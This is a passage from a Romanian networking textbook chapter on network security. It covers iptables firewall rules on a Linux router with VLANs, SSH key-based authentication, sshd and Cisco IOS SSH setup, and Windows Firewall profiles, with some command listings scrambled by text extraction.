mod direct,

244 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e cheia generat cu utilitarul ssh-keygen din Linux. Pentru a rezolva aceast problem, se folosete utilitarul PuTTYGen. Acesta are posibilitatea de a importa o cheie privat i a o salva sub forma unui fiier Putty Private Key. Tot cu ajutorul acestuia, se pot genera noi perechi de chei publice i private, cele private putnd fi exportate att n formatul *.ppk, ct i n formatul OpenSSH. Pentru a converti o cheie, se ruleaz PuTTYGen, se import cheia privat dorit, n format OpenSSH (Conversions > Import Key), dup care se apas pe butonul Save private key, pentru a obine cheia n format *.ppk. Aceasta poate fi folosit de PuTTY pentru autentificarea pe baz de chei, completndu-se calea ctre cheie, din sistemul de fiiere, n cmpul Private key file for authentication, din subcategoria Auth. Pentru a activa redirectarea protocolului X11, n cadrul subcategoriei X11, se bifeaz csua Enable X11 forwarding. Pentru a putea rula aplicaii, la distan, ce au o interfa grafic, staia local trebuie s aib instalat un server X. Pe sistemele Linux, serverul X este prezent deoarece pe baza lui funcioneaz interfaa grafic. Pentru sistemele Windows, trebuie instalat un astfel de server, un exemplu fiind Xming (X Window Server for Microsoft XP/2008/Windows7) [17]. PuTTY este capabil s configureze tunele SSH, exact ca i utilitarul ssh din Linux. Acest lucru se realizeaz din subcategoria Tunnels. Trebuie selectat tipul de tunel: Local este echivalentul lui L al ssh, iar Remote este echivalentul opiunii R la ssh. n cmpul Source port se completeaz portul pe care serviciul va asculta conexiuni, iar n cmpul Destination se pune adresa i portul unde vor fi redirectate conexiunile, separate prin dou puncte (:). Dup completarea acestora, se apas butonul Add pentru memorarea tunelului. Dup finalizarea configuraiilor, v putei ntoarce la categoria Session, iar apsnd butonul Save, toate configuraiile fcute vor fi salvate, fiind atribuite doar sesiunii curente, completat manual sau ncrcat din cele memorate anterior. Pentru deschiderea unei conexiuni ctre serverul specificat, se apas butonul Open.

7.5 Scenariu de utilizare


n reeaua din Fig. 7-9, sursa de alimentare a ruterului HQ, ce asigur accesul la Internet, s-a defectat din cauza unei supratensiuni pe reeaua de electricitate. O dat cu sursa, mediul de stocare permanent (HDD-ul) s-a ars, iar datele de pe acesta nu au mai putut fi recuperate. Administratorul a primit noile componente (sursa i HDD-ul), avnd sarcina de a reinstala sistemul de operare Linux pe ruter. De asemenea acesta trebuie s refac toate politicile de securitate pentru accesul din i n reea, acestea neavnd un back-up fcut anterior pe alt dispozitiv. Toate switch-urile din topologie (vezi Fig. 7-9), sunt configurate astfel nct staiile sunt mprite n diferite reele, folosind VLAN-uri, astfel: A cu IP-ul 141.85.10.2/24 i C cu IP-ul 141.85.10.3/24 VLAN 10 B cu IP-ul 141.85.20.2/24 i D cu IP-ul 141.85.20.3/24 VLAN 20 E cu IP-ul 141.85.30.2/24 i F cu IP-ul 141.85.30.3/24 VLAN 30 Accesul ctre ruterul HQ se realizeaz pe portul 2, pentru VLAN-urile 10 i 20, iar pentru VLAN-ul 30 pe portul 3. Portul 3 (interfaa eth3) este configurat n mod acces, iar portul 2 n mod trunk, existnd dou interfee virtuale, una pentru fiecare vlan: eth2.10 i eth2.20. Interfeele sunt configurate cu primul IP din fiecare clas asociat VLAN-ului respectiv. Accesul ctre internet se face prin portul 1 (interfaa eth1), IP-ul fiind configurat automat folosind clientul de DHCP.

S e c u r i z a r e a r e e l e i | 245 2 2 8 A B 3
Sw3

3
Sw2

Sw9

2
BR

M 3
ISP

1 3 4

4
Sw1

4 2 1

1
Sw7

9
Sw8

2 3

2 3

4
HQ

4 D

8 E

29 F 21 4 W

7-9 Topologie scenariu Dup instalarea sistemului de operare Linux, se vor configura interfeele ruterului:
root@HQ:~# vconfig add eth2 10 Added VLAN with VID == 10 to IF -:eth2:root@HQ:~# vconfig add eth2 20 Added VLAN with VID == 20 to IF -:eth2:root@HQ:~# ip addr add 141.85.10.1/24 dev eth2.10 root@HQ:~# ip addr add 141.85.20.1/24 dev eth2.20 root@HQ:~# ip addr add 141.85.30.1/24 dev eth3 root@HQ:~# ip addr show [...] 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000 link/ether 00:0c:29:4b:89:9f brd ff:ff:ff:ff:ff:ff inet 86.122.60.17/26 scope global eth1 inet6 fe80::20c:29ff:fe4b:899f/64 scope link valid_lft forever preferred_lft forever 4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000 link/ether 00:0c:29:4b:89:a9 brd ff:ff:ff:ff:ff:ff inet6 fe80::20c:29ff:fe4b:89a9/64 scope link valid_lft forever preferred_lft forever 5: eth3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000 link/ether 00:0c:29:4b:89:b3 brd ff:ff:ff:ff:ff:ff inet 141.85.30.1/24 scope global eth3 inet6 fe80::20c:29ff:fe4b:89b3/64 scope link valid_lft forever preferred_lft forever 6: eth2.10@eth2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN link/ether 00:0c:29:4b:89:a9 brd ff:ff:ff:ff:ff:ff inet 141.85.10.1/24 scope global eth2.10 7: eth2.20@eth2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN link/ether 00:0c:29:4b:89:a9 brd ff:ff:ff:ff:ff:ff inet 141.85.20.1/24 scope global eth2.20

IP-urile sunt rutabile, deci pot accesa Internetul n mod direct i pot fi accesate din exterior. Pentru a asigura accesul la internet, trebuie activat rutarea:
root@HQ:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Dup realizarea configurrilor de nivel reea, se vor defini i configura regulile de securitate pe ruterul HQ. Acestea vor fi implementate cu ajutorul utilitarului iptables. Se dorete s nu se permit accesul din Internet, la serviciul TELNET al serverului, acesta fiind un protocol necriptat. Fiind vorba de traficul destinat staiei locale, politica trebuie adugat pe lanul INPUT, cu interfaa de intrare eth1 (conexiunile dinspre Internet):
root@HQ:~# iptables -A INPUT -i eth1 p tcp --dport 23 -j DROP

Pentru ca serverul s nu fie infectat cu virui, deschiderea conexiunile de pe ruter n exteriorul reelei trebuie s fie interzis:
root@HQ:~# iptables -A OUTPUT -o eth1 -j DROP

246 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e n cazul unei conectri ilegale la reea, se dorete ca doar IP-urile staiilor prezentate s aib acces ctre Internet. Astfel trebuie s acceptm traficul ce are ca surs IP-urile staiilor, traficul ce are ca destinaie IP-urile staiilor (pentru pachete de rspuns) i n ultimul rnd trebuie blocat restul traficului. Filtrele se adaug pe lanul FORWARD. Blocarea traficului se poate realiza prin dou metode: adugarea unei noi reguli la sfritul listei cu aciunea DROP sau modificarea politicii implicite a lanului FORWARD la DROP (toate pachetele ce nu sunt selectate de nici o regul, vor fi aruncate). Vom merge pe a doua configuraie:
root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# iptables iptables iptables iptables iptables iptables iptables iptables iptables iptables iptables iptables iptables -P -A -A -A -A -A -A -A -A -A -A -A -A FORWARD FORWARD FORWARD FORWARD FORWARD FORWARD FORWARD FORWARD FORWARD FORWARD FORWARD FORWARD FORWARD DROP s 141.85.10.2 s 141.85.10.3 s 141.85.20.2 s 141.85.20.3 s 141.85.30.2 s 141.85.30.3 d 141.85.10.2 d 141.85.10.3 d 141.85.20.2 d 141.85.20.3 d 141.85.30.2 d 141.85.30.3 j j j j j j j j j j j j ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT

Se dorete ca staiile A, B, C i D s nu poat fi accesate din Internet, prevenind astfel eventuale atacuri. Pentru acest lucru trebuie s tergem regulile adugate anterior, n care ca destinaie apar IP-urile staiilor mai sus menionate. Dac se terg acele reguli, atunci pachetele de rspuns, la cererile fcute de staii ctre exterior, vor fi blocate. Trebuie adugate noi reguli, ce accept doar pachetele ce NU au flag-ul SYN setat. Acest criteriu poate fi folosit doar pentru protocolul TCP, deoarece numai acesta are flag-ul SYN, fiind orientat conexiune. Protocoalele neorientate conexiune vor rmne n continuare blocate. Pentru a rezolva aceast problem, iptables ofer un modul prin care se poate reine starea conexiunii, fcndu-l un firewall stateful. Pentru protocoalele neorientate conexiune se folosesc anumite criterii specifice fiecrui protocol [18] pentru a menine starea conexiunii. Modulul se specific cu parametrul -m state, iar acesta introduce 3 stri generice ale conexiunii, specificate cu opiunea --state: NEW deschiderea unei noi conexiuni. ESTABLISHED conexiunea a fost stabilit. RELATED conexiunea este nou, dar este legat de o alta care a fost permis deja.
root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# root@HQ:~# iptables iptables iptables iptables iptables -D -D -D -D -A FORWARD FORWARD FORWARD FORWARD FORWARD d d d d i 141.85.10.2 j ACCEPT 141.85.10.3 j ACCEPT 141.85.20.2 j ACCEPT 141.85.20.3 j ACCEPT eth1 m state --state ESTABLISHED,RELATED j ACCEPT

Se observ c a fost nevoie doar de o singur regul pentru tot traficul ce intr pe interfaa eth1 (-i eth1), aceasta acceptnd numai pachete ce sunt n starea ESTABLISHED sau RELATED. Nu a fost nevoie s adugm cte o regul pentru fiecare destinaie deoarece, oricum singurele pachete de rspuns vor fi de la IP-urile ce pot iniia conexiuni din interiorul reelei. Staiile E (141.85.30.2) i F (141.85.30.3) trebuie s poat fi accesate din exterior, fiind dou servere ce asigur servicii publice. Pentru serverul E vom deschide porturile HTTP (80) i HTTPS (443), pentru acces la serviciul WEB, i portul de SSH (22) pentru administrare, toate porturile fiind ale protocolului TCP:
root@HQ:~# iptables -A FORWARD -i eth1 -d 141.85.30.2 -p tcp --dport 80 -j ACCEPT root@HQ:~# iptables -A FORWARD -i eth1 -d 141.85.30.2 -p tcp --dport 443 -j ACCEPT root@HQ:~# iptables -A FORWARD -i eth1 -d 141.85.30.2 -p tcp --dport 22 -j ACCEPT

Pe serverul F este instalat serviciul de DNS, care folosete portul 53 al protocoalelor TCP i UDP. Pe lng acest port, vom deschide i portul SSH (22) pentru administrare:
root@HQ:~# iptables -A FORWARD -i eth1 -d 141.85.30.3 -p tcp --dport 53 -j ACCEPT root@HQ:~# iptables -A FORWARD -i eth1 -d 141.85.30.3 -p udp --dport 53 -j ACCEPT root@HQ:~# iptables -A FORWARD -i eth1 -d 141.85.30.3 -p tcp --dport 22 -j ACCEPT

S e c u r i z a r e a r e e l e i | 247 Dup cum s-a observat anterior, pentru serverele E i F am deschis portul de SSH n scopul accesului la distan pentru administrare. Pentru a spori msurile de securitate, vom permite ca autentificarea la serviciul SSH, s se fac doar pe baz de chei publice/private, nu i prin parol. Vom genera o nou pereche de chei, cu care vom realiza autentificarea:
root@HQ:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/my_key Created directory '/root/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/my_key. Your public key has been saved in /root/.ssh/my_key.pub.

Cheia public generat, trebuie copiat n fiierul $HOME/.ssh/authorized_keys al utilizatorului root, de pe staiile E i F. Acest lucru se poate face automat cu utilitarul ssh-copyid:
root@HQ:~# ssh-copy-id -i /root/.ssh/my_key.pub root@141.85.30.2 root@141.85.30.2's password: Now try logging into the machine, with "ssh 'root@141.85.30.2'", and check in: ~/.ssh/authorized_keys to make sure we haven't added extra keys that you weren't expecting. root@HQ:~# ssh-copy-id -i /root/.ssh/my_key.pub root@141.85.30.3 root@141.85.30.3's password: Now try logging into the machine, with "ssh 'root@141.85.30.3'", and check in: ~/.ssh/authorized_keys to make sure we haven't added extra keys that you weren't expecting.

Verificm c funcioneaz autentificarea pe baz de chei:


root@HQ:~# ssh -i /root/.ssh/my_key root@141.85.30.2 Last login: Fri Aug 31 03:19:41 2012 from 141.85.30.1 root@E:~$

Se va restriciona autentificarea pe baz de parol, modificnd fiierul /etc/ssh/sshd_config, adugndu-se o nou directiv (vezi Studiu de caz). Dup configurare, trebuie resetat serviciul SSH. Configurarea pentru staia F este identic.
root@E:~# cat /etc/ssh/sshd_config | grep "PasswordAuthentication" PasswordAuthentication no root@E:~# service ssh restart ssh start/running, process 3912

De pe staia HQ, se observ c nu mai putem s ne autentificm pe baz de parol.


root@HQ:~# ssh root@141.85.30.2 Permission denied (publickey). root@HQ:~# ssh -i /root/.ssh/my_key root@141.85.30.2 Last login: Fri Aug 31 04:21:41 2012 from 141.85.30.1 root@E:~$

Staiile A i C sunt n departamentul de contabilitate i se dorete ca traficul de la celelalte departamente (staiile B, D, E i F) ctre acestea s fie blocat. Pentru aceasta, trebuie adugate reguli ce blocheaz pachetele ce au ca surs clasele de IP-uri corespunztoare staiilor B, D, E i F (141.85.20.0/24 i 141.85.30.0/24) i destinaie clasa de IP-uri a departamentului de contabilitate (141.85.10.0/24). Filtrrile trebuie adugate pe lanul FORWARD. ATENIE: dorim ca acestea s poat accesa serverele prezente pe staiile E i F. Pentru acest lucru, trebuie s blocm doar pachetele ce sunt n starea NEW.
root@HQ:~# iptables -A FORWARD -s 141.85.20.0/24 -d 141.85.10.0/24 -m state --state NEW -j DROP root@HQ:~# iptables -A FORWARD -s 141.85.30.0/24 -d 141.85.10.0/24 -m state --state NEW -j DROP

n acest moment, am realizat toate configurrile de securitate necesare, dar staiile B, D, E i F nc au acces la departamentul de contabilitate. Regulile pe care le-am adugat nu au nici un efect. n cazuri ca acesta, n primul rnd, trebuie inspectat coninutul tabelei de reguli:

248 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
root@HQ:~# iptables -nvL Chain INPUT (policy ACCEPT 77 packets, 8272 bytes) pkts bytes target prot opt in out source 6 100 DROP tcp -- eth1 * 0.0.0.0/0 Chain FORWARD (policy DROP 1244 packets, 100520 bytes) pkts bytes target prot opt in out source 2 245 ACCEPT all -- * * 141.85.10.2 4 431 ACCEPT all -- * * 141.85.10.3 3 232 ACCEPT all -- * * 141.85.20.2 5 553 ACCEPT all -- * * 141.85.20.3 25 4540 ACCEPT all -- * * 141.85.30.2 10 1303 ACCEPT all -- * * 141.85.30.3 49 7303 ACCEPT all -- eth1 * 0.0.0.0/0 RELATED,ESTABLISHED 4 434 ACCEPT tcp -- eth1 * 0.0.0.0/0 6 700 ACCEPT tcp -- eth1 * 0.0.0.0/0 12 1535 ACCEPT tcp -- eth1 * 0.0.0.0/0 17 2325 ACCEPT tcp -- eth1 * 0.0.0.0/0 23 4545 ACCEPT udp -- eth1 * 0.0.0.0/0 70 6004 ACCEPT tcp -- eth1 * 0.0.0.0/0 0 0 DROP all -- * * 141.85.20.0/24 0 0 DROP all -- * * 141.85.30.0/24 Chain OUTPUT (policy ACCEPT 910 packets, 234960 bytes) pkts bytes target prot opt in out source 23 1477 DROP all -- * eth1 0.0.0.0/0

destination 0.0.0.0/0 tcp dpt:23 destination 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 141.85.30.2 141.85.30.2 141.85.30.2 141.85.30.3 141.85.30.3 141.85.30.3 141.85.10.0/24 141.85.10.0/24 destination 0.0.0.0/0

state tcp dpt:80 tcp dpt:443 tcp dpt:22 tcp dpt:53 udp dpt:53 tcp dpt:22 state NEW state NEW

Afiarea s-a realizat folosind flag-ul v (verbose). Dac se urmresc regulile ce blocheaz traficul ctre staiile de la contabilitate (ultimile 2, din lanul FORWARD), se observ o neregul: acestea au contorii de pachete i octei pe 0. Acest lucru nseamn c regulile nu au selectat nici un pachet. De aici se poate deduce faptul c pachetele sunt selectate de alte reguli anterioare (tabela parcurgndu-se n ordinea regulilor) sau lanul nu a fost tranzitat de pachet. Ultima supoziie nu este adevrat, deoarece pachetul este rutat ntre dou reele, aparinnd de vlan-uri diferite, deci pachetul trece prin lanul FORWARD. La parcurgerea tabelei de reguli din lanul FORWARD, se observ c pachetele ce au ca surs IPurile staiilor B (141.85.20.2), D (141.85.20.3), E (141.85.30.2) i F (141.85.30.3) sunt selectate de primele reguli. Primele reguli sunt mai generale dect ultimele, ultimele specificnd i destinaia i starea conexiunii. Soluia este mutarea ultimelor 2 reguli n capul listei. Acest lucru se face tergnd regulile i adugndu-le cu opiunea -I (insert), la nceput:
r@HQ:~# iptables -D FORWARD -s 141.85.30.0/24 -d 141.85.10.0/24 -m state --state NEW -j DROP r@HQ:~# iptables -D FORWARD -s 141.85.20.0/24 -d 141.85.10.0/24 -m state --state NEW -j DROP rt@HQ:~# iptables -I FORWARD -s 141.85.30.0/24 -d 141.85.10.0/24 -m state --state NEW -j DROP r@HQ:~# iptables -I FORWARD -s 141.85.20.0/24 -d 141.85.10.0/24 -m state --state NEW -j DROP r@HQ:~# iptables -nvL Chain INPUT (policy ACCEPT 77 packets, 8272 bytes) pkts bytes target prot opt in out source destination 6 100 DROP tcp -- eth1 * 0.0.0.0/0 0.0.0.0/0 tcp dpt:23 Chain FORWARD (policy DROP 1244 packets, 100520 bytes) pkts bytes target prot opt in out source 2 232 DROP all -- * * 141.85.20.0/24 0 0 DROP all -- * * 141.85.30.0/24 2 245 ACCEPT all -- * * 141.85.10.2 4 431 ACCEPT all -- * * 141.85.10.3 3 232 ACCEPT all -- * * 141.85.20.2 5 553 ACCEPT all -- * * 141.85.20.3 25 4540 ACCEPT all -- * * 141.85.30.2 10 1303 ACCEPT all -- * * 141.85.30.3 49 7303 ACCEPT all -eth1 * 0.0.0.0/0 RELATED,ESTABLISHED 4 434 ACCEPT tcp -- eth1 * 0.0.0.0/0 6 700 ACCEPT tcp -- eth1 * 0.0.0.0/0 12 1535 ACCEPT tcp -- eth1 * 0.0.0.0/0 17 2325 ACCEPT tcp -- eth1 * 0.0.0.0/0 23 4545 ACCEPT udp -- eth1 * 0.0.0.0/0 70 6004 ACCEPT tcp -- eth1 * 0.0.0.0/0 Chain OUTPUT (policy ACCEPT 910 packets, 234960 bytes) pkts bytes target prot opt in out source 23 1477 DROP all -- * eth1 0.0.0.0/0 destination 141.85.10.0/24 141.85.10.0/24 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 0.0.0.0/0 141.85.30.2 141.85.30.2 141.85.30.2 141.85.30.3 141.85.30.3 141.85.30.3 destination 0.0.0.0/0

state NEW state NEW

state tcp tcp tcp tcp udp tcp dpt:80 dpt:443 dpt:22 dpt:53 dpt:53 dpt:22

Dup realizarea tuturor configuraiilor iptables, se dorete salvarea lor ntr-un fiier i configurat sistemul de operare, s execute acel fiier la pornire. Pentru salvare se va folosi utilitarul iptables-save:

S e c u r i z a r e a r e e l e i | 249
root@HQ:~# iptables-save > /root/reguli_firewall

Sistemul Linux instalat este unul debian-based. Cea mai simpl metod pentru a ncrca regulile iptables la boot-time este prin crearea unui script n directorul /etc/network/if-up.d/, care ruleaz iptables-restore, utilitarul ifupdown ocupndu-se cu executarea lui.
root@HQ:~# echo "#!/bin/sh" > /etc/network/if-up.d/iptables root@HQ:~# echo "iptables-restore < /root/reguli_firewall" >> /etc/network/if-up.d/iptables root@HQ:~# chmod +x /etc/network/if-up.d/iptables

O form mai elegant se obine prin crearea unui script de iniializare de tip Sys-v [19], firewall-ul
putnd fi administrat ca un serviciu cu opiuni de start, stop, restart, etc.

7.6 Studiu de caz


n cadrul acestei seciuni, se va prezenta configurarea unui server de SSH pe Linux, folosind pachetul OpenSSH, i pe Cisco IOS, folosind serverul integrat n sistemul de operare. Un alt subiect abordat va fi configurarea firewall-ului integrat pe un sistem de operare Windows.

7.6.1 Server SSH Linux


Serverul de SSH este instalat automat, odat cu instalarea pachetului ssh, pe toate distribuiile debian-based (apt-get install ssh). Fiierul principal pentru configurarea serverului SSH este /etc/ssh/sshd_config. ATENIE: o greeal des ntlnit este folosirea fiierului /etc/ssh/ssh_config, care este fiierul de configurarea al clientului ssh. Cteva directive importante pentru configurarea serviciului de SSH sunt prezentate n cele ce urmeaz. Fiecare directiv trebuie scris pe o linie separat. Nici o directiv nu este obligatorie, existnd valori implicite pentru oricare din ele: Port 22 specific portul pe care ascult serverul; portul implicit este 22. Se pot specifica mai multe porturi prin directive separate. ListenAddress 192.168.1.2 specific interfaa pe care ascult daemon-ul sshd. Adresa implicit este 0.0.0.0, reprezentnd faptul c se ascult pe toate interfeele. Pentru a asculta pe mai multe adrese IP, fiecare se specific prin cte o comand nou separat. HostKey /etc/ssh/ssh_host_key specific fiierul n care este inut cheia privat a utilizatorului. ServerKeyBits 1024 definete numrul de bii din server key (implicit 768). KeyRegenerationInterval 3600 specific dup ct timp va fi regenerat cheia serverului. Aceasta poate fi o metod de a preveni decriptarea n cazul interceptrii unei sesiuni n urma unui atac man-in-the-middle (vezi capitolul Atacuri de reea). PermitRootLogin yes|no|nopwd se refer la posibilitatea autentificrii prin SSH folosind contul utilizatorului privilegiat root; nopwd semnific faptul c nu este permis autentificarea cu parol. Aceast opiune trebuie ntotdeauna setat pe no din motive de securitate. PubkeyAuthentication yes|no specific faptul c este permis autentificare pe baz de chei publice/private. AuthorizedKeysFile .ssh/authorized_keys specific locaia fiierului ce conine cheile publice ale persoanelor autorizate s acceseze serviciul, folosind cheia lor privat. Locaia implicit este n .ssh/authorized_keys. PasswordAuthentication yes|no permite autentificarea pe baz de parol. PermitEmptyPasswords yes|no se permite sau nu autentificarea pe baza parolelor nule. Din motive de securitate, se recomand ca aceasta s fie setat pe no.

250 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e X11Forwarding yes|no specific dac este permis redirectarea protocolului X11 peste o conexiune de SSH. RSAAuthentication yes|no specific folosirea autentificrii folosind protocolul RSA. AllowUsers admin specific utilizatorii care se pot conecta prin acest serviciu. Implicit poate accesa orice utilizator serviciul. PrintMotd yes|no specific dac sshd-ul va afia coninutul fiierului /etc/motd dup autentificarea unui utilizator. MOTD (Message of the Day) reprezint un text afiat utilizatorului dup autentificare, dar nainte de apariia promptului, care conine mesaje de la administrator. Dup modificarea fiierului de configurare, trebuie resetat serviciul de SSH, pentru ca noile configuraii s fie valabile:
root@HQ:~# service ssh restart ssh start/running, process 27424

7.6.2 Server SSH Cisco IOS


Pentru a configura serverul de SSH, trebuie mai inti, configurat numele domeniului de care aparine ruterul (poate fi identic cu hostname-ul) i generat o pereche de chei (public/privat):
router(config)#crypto key generate rsa % Please define a domain-name first. router(config)#ip domain-name router router(config)#crypto key generate rsa The name for the keys will be: router.router Choose the size of the key modulus in the range of 360 to 2048 for your General Purpose Keys. Choosing a key modulus greater than 512 may take a few minutes. How many bits in the modulus [512]: % Generating 512 bit RSA keys, keys will be non-exportable...[OK]

n acest moment serviciul de ssh este activ. Pentru a putea s v autentificai, trebui s creai un utilizator, folosind comanda username:
router(config)#username rl password carte_rl

Este recomandat folosirea protocolui SSH, versiune 2, dar pentru acest lucru avei nevoie de o cheie de minim 768 de bii:
router(config)#ip ssh version 2 Please create RSA keys (of at least 768 bits size) to enable SSH v2. router(config)#crypto key generate rsa % You already have RSA keys defined named router.router . % Do you really want to replace them? [yes/no]: yes The name for the keys will be: router.router Choose the size of the key modulus in the range of 360 to 2048 for your General Purpose Keys. Choosing a key modulus greater than 512 may take a few minutes. How many bits in the modulus [512]: 768 % Generating 768 bit RSA keys, keys will be non-exportable...[OK] *mar. 1 3:12:4.615: %SSH-5-ENABLED: SSH 1.99 has been enabled router(config)#ip ssh version 2

De pe staia Linux HQ, putem realiza o conexiune SSH ctre ruterul Cisco, folosind utilizatorul rl. Acesta are adresa IP 192.168.0.1:
root@HQ:~# ssh rl@192.168.0.1 Open Password: router>

7.6.3 Configurare Windows Firewall


Windows Firewall este unul de tip stateful, adic urmrete starea conexiunilor de reea ale unui sistem, examinnd att traficul direcionat spre reea ct i cel spre exterior. Pentru traficul dinspre

S e c u r i z a r e a r e e l e i | 251 exterior, comportamentul implicit al su este de a bloca orice pachet care sosete nesolicitat, adic nu reprezint rspunsul la o cerere sau nu face parte din traficul unei conexiuni iniiate de calculatorul propriu. Totui, cnd este necesar, pot fi configurate excepii pentru a permite anumitor tipuri de trafic s fie recepionate de ctre anumite aplicaii, pe anumite porturi. Comportamentul implicit pentru traficul originat din sistemul propriu este unul permisiv, nefiind filtrate niciun fel de cereri. Totui, pot fi implementate reguli care s limiteze accesul anumitor aplicaii la Internet. Pentru configurarea Windows Firewall pe un sistem Windows Server 2008 exist dou moduri: fereastra de dialog Windows Firewall Settings, disponibil i pentru Windows XP i accesibil direct din Control Panel. interfaa de administrare pentru Windows Firewall with Advanced Security, accesibil de la Administrative Tools sau din Server Manager.

7-10 Aplicaiile permise prin Windows Firewall Pentru a deschide fereastra de dialog Windows Firewall Settings (vezi Figura 7-10), se poate alege opiunea Allow a Program Through the Windows Firewall din Control Panel, sub categoria Security sau direct accesnd Windows Firewall, tot din Control Panel, ca i n Windows XP (n funcie de modul de vizualizare activ). Setrile de baz ale lui Windows Firewall sunt separate n trei categorii: General: n acest tab se gsesc cele mai simple opiuni, de pornire i oprire a firewallului. De asemenea, exist i posibilitatea de blocare a tuturor conexiunilor iniiate din

252 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e exterior (Block all incoming connections) pentru a activa rapid protecia total n reele publice, nesecurizate. Aceast opiune ignor toate excepiile active la acel moment. Exceptions: Lista cuprinde aplicaiile detectate n sistem iar bifarea lor are ca efect activarea permisiunii aplicaiilor de a deschide porturi. Pot fi adugate noi programe (executabile, de fapt) la lista de excepii sau pot fi adugate separat i porturi. Advanced: Aici pot fi selectate conexiunile de reea pe care Windows Firewall s le monitorizeze. De asemenea, de aici pot fi restaurate setrile implicite legate de funcionarea firewall-ului i de excepiile sale. Dup cum se observ, fereastra de dialog descris mai sus nu ofer o multitudine de opiuni legate de configurarea Windows Firewall i nu poate fi considerat efectiv o unealt administrativ deoarece ofer un grad extrem de sczut de flexibilitate. Dac se dorete modificarea unor setri mai avansate (reguli, n spe, care, la rndul lor, formeaz politicile de securitate) trebuie utilizat interfaa Windows Firewall with Advanced Security, accesibil din Server Manager sau de la Start > Administrative Tools. Aceasta ofer opiunea de a gestiona regulile de intrare i ieire a pachetelor i de a crea reguli de securitate pentru conexiuni care pot restriciona conectarea la un server pe baza unor informaii de autentificare mai complexe, cum ar fi apartenena la un domeniu.

7-11 Interfaa de administrare Windows Firewall with Advanced Security Interfaa este mprit n trei panouri: n stnga, un panou ce afieaz diferitele elemente de configurare, cum sunt regulile sau opiunile de monitorizare;

S e c u r i z a r e a r e e l e i | 253 n partea dreapt panoul de aciuni, comun celor mai multe interfee de administrare din Server Manager; n partea central panoul de detalii, al crui coninut se modific dinamic, n funcie de seleciile din primul panou. n mod implicit, panoul central, de detalii, afieaz (atunci cnd n stnga este selectat rdcina firewall-ului: Windows Firewall with Advanced Security on Local Computer) o list cu trei profiluri: Domain, Public i Private. Aceste profiluri se afl n legtur cu tipurile de conexiuni afiate i de interfaa Network and Sharing Center i conin setri diferite n funcie de riscurile pe care diferite tipuri de conexiuni le prezint. Ele au relevan n contextul lui Windows Firewall dup cum urmeaz: Domain: Calculatoarele ce ruleaz Windows Vista sau Windows Server 2008 pot detecta dac se poate realiza apartenena la un domeniu ntr-o anumit reea la care sunt conectate. Acest profil necesit ca toate calculatoarele s fie membre ale unui domeniu pentru a putea accesa controller-ul de domeniu. Public: Profilul Public este folosit de ctre firewall pentru a proteja sistemul cnd acesta este conectat la o reea public, spre exemplu una wireless. Practic, pentru Windows Server 2008, o reea public reprezint orice reea care nu se afl n interiorul perimetrului reelei delimitate de firewall-ul acesteia. Private: Profilul comunic firewall-ului modul n care s protejeze sistemul n momentul n care acesta este membru al unei conexiuni private, adic aparine unei reele protejate de un firewall hardware.

7-12 Interfaa proprietilor unui profil Pentru c fiecare dintre cele trei profiluri poate stoca setri distincte cu privire la regulile firewall-ului, acestea ofer un grad sporit de flexibilitate n optimizarea nivelului de securitate oferit de firewall pentru diferite tipuri de conexiuni. Spre exemplu, conexiunile spre reelele publice vor

254 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e folosi profilul Public care va impune un set de reguli mai restrictive, n timp ce conectarea la reelele locale izolate, securizate i/sau aflate sub propria administrare poate necesita un set mai permisiv de reguli, cum ar fi partajarea fiierelor i a imprimantelor n reea, reguli configurate n cadrul profilului Private. Modificarea tipului unei conexiuni se poate face manual (mai puin pentru tipul Domain, care are cerine suplimentare). Windows aplic, ns, i n mod automat aceste profiluri n funcie de tipul de trafic inspectat pe interfaa conectat. Astfel c, n cazul apartenenei la un domeniu, se aplic nti profilul Domain, ajungndu-se ulterior la opiunea de a aplica unul dintre celelalte dou profiluri. Pentru situaia de mai sus, peste profilul Domain se aplic automat profilul Private deoarece se consider c zona delimitat de staiile dintr-o reea, membre ale unui domeniu, reprezint deja o zon de un anumit grad de securitate i siguran. Dac interfaa nu este autentificat la un controller de domeniu (deci conexiunea sa nu este membr a unui domeniu) atunci se aplic automat profilul Public. Pentru a accesa setrile profilurilor implicite, se poate face clic pe link-ul Windows Firewall Properties din panoul de detalii, la baza regiunii Overview, n care sunt listate aceste profiluri (vezi Fig. 7-12). Se observ c toate cele trei profiluri se configureaz similar, specificndu-se starea firewall-ului i modul de tratare a conexiunilor n funcie de sensul n care au fost iniiate. La apsarea butonului Customize sunt disponibile opiuni suplimentare ce adreseaz notificarea utilizatorului n momentul n care firewall-ul blocheaz o aplicaie i comportamentul permis de firewall n cazul n care sistemul ncearc s rspund prin unicast n urma unui trafic de broadcast sau multicast din reea.

Modificarea regulilor implicite


